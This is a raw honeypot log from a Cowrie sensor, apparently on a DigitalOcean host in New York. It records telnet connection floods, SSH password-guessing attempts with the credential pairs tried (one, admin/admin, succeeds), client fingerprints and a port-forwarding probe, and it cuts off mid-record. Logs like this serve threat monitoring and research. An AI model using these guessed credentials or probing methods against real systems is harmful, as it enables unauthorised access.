{"eventid":"cowrie.session.closed","duration":42.08337116241455,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:29.888649Z","src_ip":"192.119.13.58","session":"3718b757874a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d37251ef5fd","protocol":"telnet","message":"New connection: 192.119.13.58:42798 (10.17.0.5:23) [session: 1d37251ef5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:30.580784Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d576f346ee2","protocol":"telnet","message":"New connection: 192.119.13.58:48500 (10.17.0.5:23) [session: 0d576f346ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:38.745867Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56284,"dst_ip":"10.17.0.5","dst_port":23,"session":"d51073399b6e","protocol":"telnet","message":"New connection: 192.119.13.58:56284 (10.17.0.5:23) [session: d51073399b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:40.625885Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59438,"dst_ip":"10.17.0.5","dst_port":23,"session":"18514ae287db","protocol":"telnet","message":"New connection: 192.119.13.58:59438 (10.17.0.5:23) [session: 18514ae287db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:41.505596Z"}
{"eventid":"cowrie.session.closed","duration":49.365456342697144,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:42.920141Z","src_ip":"192.119.13.58","session":"6354d8bea063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.15114450454712,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:44.124380Z","src_ip":"192.119.13.58","session":"870ac8a3954d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51334,"dst_ip":"10.17.0.5","dst_port":23,"session":"72d459d2b3c0","protocol":"telnet","message":"New connection: 192.119.13.58:51334 (10.17.0.5:23) [session: 72d459d2b3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:46.572396Z"}
{"eventid":"cowrie.session.closed","duration":39.02352523803711,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:48.419268Z","src_ip":"192.119.13.58","session":"c6c6d9f131ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c9362226c4b","protocol":"ssh","message":"New connection: 62.133.62.83:46392 (159.203.135.109:22) [session: 1c9362226c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:51.453010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:51.459398Z","src_ip":"62.133.62.83","session":"1c9362226c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:51.539036Z","src_ip":"62.133.62.83","session":"1c9362226c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monitor","message":"login attempt [root/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:51.777743Z","src_ip":"62.133.62.83","session":"1c9362226c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:52.859816Z","src_ip":"62.133.62.83","session":"1c9362226c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.350640058517456,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:53.366654Z","src_ip":"192.119.13.58","session":"7e5a9a083efa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.26794958114624,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:54.587675Z","src_ip":"192.119.13.58","session":"e61322ef89bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58044,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b84e546d8c6","protocol":"telnet","message":"New connection: 192.119.13.58:58044 (10.17.0.5:23) [session: 2b84e546d8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:55.269705Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36946,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eaab23671e6","protocol":"telnet","message":"New connection: 192.119.13.58:36946 (10.17.0.5:23) [session: 6eaab23671e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:58:56.941108Z"}
{"eventid":"cowrie.session.closed","duration":33.931315183639526,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:04.511969Z","src_ip":"192.119.13.58","session":"1d37251ef5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35076,"dst_ip":"10.17.0.5","dst_port":23,"session":"673f860d2703","protocol":"telnet","message":"New connection: 192.119.13.58:35076 (10.17.0.5:23) [session: 673f860d2703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:10.705945Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":53821,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0944806ed38","protocol":"telnet","message":"New connection: 186.195.16.41:53821 (159.203.135.109:23) [session: b0944806ed38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:12.938277Z"}
{"eventid":"cowrie.session.closed","duration":35.40053868293762,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:14.146477Z","src_ip":"192.119.13.58","session":"0d576f346ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":35350,"dst_ip":"10.17.0.5","dst_port":22,"session":"1339f8e4ad2d","protocol":"ssh","message":"New connection: 147.45.199.80:35350 (10.17.0.5:22) [session: 1339f8e4ad2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:16.403234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:16.407321Z","src_ip":"147.45.199.80","session":"1339f8e4ad2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:16.502889Z","src_ip":"147.45.199.80","session":"1339f8e4ad2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tamerlan","message":"login attempt [root/tamerlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:16.789407Z","src_ip":"147.45.199.80","session":"1339f8e4ad2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:17.887902Z","src_ip":"147.45.199.80","session":"1339f8e4ad2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39396,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9fa9d4c7d33","protocol":"telnet","message":"New connection: 192.119.13.58:39396 (10.17.0.5:23) [session: d9fa9d4c7d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:18.731200Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54552,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe5a7bc2b119","protocol":"telnet","message":"New connection: 192.119.13.58:54552 (10.17.0.5:23) [session: fe5a7bc2b119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:22.645181Z"}
{"eventid":"cowrie.session.closed","duration":42.13194727897644,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:23.637417Z","src_ip":"192.119.13.58","session":"18514ae287db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.546472787857056,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:25.172260Z","src_ip":"192.119.13.58","session":"d51073399b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c3271a8790","protocol":"telnet","message":"New connection: 192.119.13.58:39970 (10.17.0.5:23) [session: 49c3271a8790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:26.040857Z"}
{"eventid":"cowrie.session.closed","duration":42.16233468055725,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:28.734596Z","src_ip":"192.119.13.58","session":"72d459d2b3c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c970e378c8","protocol":"telnet","message":"New connection: 192.119.13.58:49884 (10.17.0.5:23) [session: a1c970e378c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:35.836903Z"}
{"eventid":"cowrie.session.closed","duration":44.26922130584717,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:39.538772Z","src_ip":"192.119.13.58","session":"2b84e546d8c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"07ce2fe03880","protocol":"telnet","message":"New connection: 192.119.13.58:47084 (10.17.0.5:23) [session: 07ce2fe03880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:42.407150Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47564,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e968315b8e","protocol":"telnet","message":"New connection: 192.119.13.58:47564 (10.17.0.5:23) [session: 48e968315b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:42.527512Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50324,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b872849582e","protocol":"telnet","message":"New connection: 192.119.13.58:50324 (10.17.0.5:23) [session: 2b872849582e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:43.201413Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53230,"dst_ip":"10.17.0.5","dst_port":23,"session":"099b7ac610fe","protocol":"telnet","message":"New connection: 192.119.13.58:53230 (10.17.0.5:23) [session: 099b7ac610fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:43.922231Z"}
{"eventid":"cowrie.session.closed","duration":47.59001660346985,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:44.531001Z","src_ip":"192.119.13.58","session":"6eaab23671e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.021708488464355,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:52.727516Z","src_ip":"192.119.13.58","session":"673f860d2703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2802,"dst_ip":"10.17.0.5","dst_port":22,"session":"9effd2299b56","protocol":"ssh","message":"New connection: 87.251.64.176:2802 (10.17.0.5:22) [session: 9effd2299b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:54.819908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:54.826348Z","src_ip":"87.251.64.176","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:54.923141Z","src_ip":"87.251.64.176","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:55.212863Z","src_ip":"87.251.64.176","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:55.312511Z","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:55.410525Z","src_ip":"87.251.64.176","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:55.514063Z","src_ip":"87.251.64.176","session":"9effd2299b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48076,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec19c4ac4eb0","protocol":"telnet","message":"New connection: 192.119.13.58:48076 (10.17.0.5:23) [session: ec19c4ac4eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:57.250684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49920,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d5948788a2","protocol":"telnet","message":"New connection: 192.119.13.58:49920 (10.17.0.5:23) [session: 38d5948788a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:59:57.677022Z"}
{"eventid":"cowrie.session.closed","duration":41.794551849365234,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:00.525612Z","src_ip":"192.119.13.58","session":"d9fa9d4c7d33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36864,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1cabf6f8dbc","protocol":"telnet","message":"New connection: 192.119.13.58:36864 (10.17.0.5:23) [session: d1cabf6f8dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:01.584977Z"}
{"eventid":"cowrie.session.closed","duration":49.8479962348938,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:02.786132Z","src_ip":"186.195.16.41","session":"b0944806ed38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.466869831085205,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:06.111928Z","src_ip":"192.119.13.58","session":"fe5a7bc2b119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32830,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ac7e206080","protocol":"telnet","message":"New connection: 192.119.13.58:32830 (10.17.0.5:23) [session: a1ac7e206080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:07.722933Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e178aaea4907","protocol":"telnet","message":"New connection: 192.119.13.58:56286 (10.17.0.5:23) [session: e178aaea4907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:13.491426Z"}
{"eventid":"cowrie.session.closed","duration":49.52378702163696,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:15.564503Z","src_ip":"192.119.13.58","session":"49c3271a8790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37427020072937,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:18.211047Z","src_ip":"192.119.13.58","session":"a1c970e378c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50406,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f117230a38b","protocol":"telnet","message":"New connection: 192.119.13.58:50406 (10.17.0.5:23) [session: 9f117230a38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:18.932411Z"}
{"eventid":"cowrie.session.closed","duration":36.85315155982971,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:20.775260Z","src_ip":"192.119.13.58","session":"099b7ac610fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.13107943534851,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:22.622372Z","src_ip":"192.119.13.58","session":"e178aaea4907","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34324,"dst_ip":"10.17.0.5","dst_port":22,"session":"443378c48f9d","protocol":"ssh","message":"New connection: 103.27.238.116:34324 (10.17.0.5:22) [session: 443378c48f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:24.493772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:24.506149Z","src_ip":"103.27.238.116","session":"443378c48f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v0